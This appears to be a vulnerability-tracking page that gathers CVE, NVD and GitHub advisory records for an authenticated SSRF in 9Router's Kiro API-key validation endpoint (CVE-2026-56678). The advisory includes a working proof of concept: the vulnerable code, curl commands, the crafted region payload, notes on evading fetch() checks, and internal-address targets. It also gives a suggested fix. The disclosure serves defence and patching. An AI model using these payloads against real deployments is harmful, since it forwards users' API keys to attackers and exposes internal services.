9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-56678
Published9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
- Source published
- 15 Jul 2026 20:51:33 UTC
- Source modified
- 16 Jul 2026 12:53:24 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
nvd · CVE-2026-56678
Published9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20 · CWE-918
Original publisher date fields
published: 2026-07-15T21:16:55.430
lastModified: 2026-10-24T21:10:00.130
- Source published
- 15 Jul 2026 21:16:55 UTC
- Source modified
- 24 Oct 2026 21:10:00 UTC
- Observed here
- 25 Oct 2026 14:19:10 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
osv · GHSA-6mwv-4mrm-5p3m
Published### Summary The Kiro API-key validation endpoint builds an upstream URL using a user-controlled `region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The request forwards the submitted Kiro API key as an `Authorization: Bearer` header. ### Details - **Affected version / commit:** 9router v0.5.2 @ `5da508a`. - **Endpoint:** `POST /api/oauth/kiro/api-key`. - **Correct runtime payload:** `region: "kiro-canary.local:8443#"`. - Do **not** use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is blocked by Node/undici `fetch()` because it creates URL credentials (`"Request cannot be constructed from a URL that includes credentials"`). - **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443` (the `#` turns the trailing `.amazonaws.com` into a URL fragment). - HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. - TLS verification was **not** globally disabled; the reproduction uses a local CA via `NODE_EXTRA_CA_CERTS`. - The no-auth control returns 401, so this standalone issue is **authenticated**. - `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is chained. **Root cause.** The route reads `region` straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error: ```js // src/app/api/oauth/kiro/api-key/route.js const { apiKey, region } = await request.json(); ... const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1"); ... } catch (error) { return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body } ``` ```js // src/lib/oauth/services/kiro.js — listAvailableProfiles() const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated const response = await fetch(endpoint, { method: "POST", headers: { "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles", "Authorization": `Bearer ${accessToken}`, // credential forwarded ... }, body: JSON.stringify({ maxResults: 10 }), }); if (!response.ok) { const error = await response.text(); throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message } ``` There is no allowlist on `region`, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached. ### PoC Start the package: ```bash docker compose up --build ``` The endpoint is authenticated, so first obtain a dashboard session using the password configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie: ```bash curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \ -H "Content-Type: application/json" \ -d '{"password":"repro-dashboard-pass"}' ``` Then send the region-injection request with that session cookie: ```bash curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: - 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected. - `docker compose logs kiro-canary` shows a request with: - `Host: codewhisperer.kiro-canary.local:8443` - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO` No-auth control (no session cookie): ```bash curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: 401 Unauthorized. Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is never contacted. ### Impact An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug. ### Screenshots The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control. #### 1. Safe-region control — normal Kiro validation path <img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" /> >**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.** #### 2. Region-injection SSRF trigger — canary marker reflected <img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" /> >**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.** #### 3. HTTPS canary evidence — Authorization header forwarded <img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" /> >**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.** #### 4. No-auth control — endpoint requires authentication <img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" /> >**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.** ### Suggested Fix - Validate `region` against a strict allowlist of known Kiro/AWS regions (e.g. `^[a-z]{2}-[a-z]+-\d$`). - Construct upstream endpoints only from fixed enum values. - Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators. - After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern. - Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in `error.message`.
- Source published
- 23 Sep 2026 18:12:30 UTC
- Source modified
- 23 Sep 2026 18:27:55 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Publisher rating · MODERATE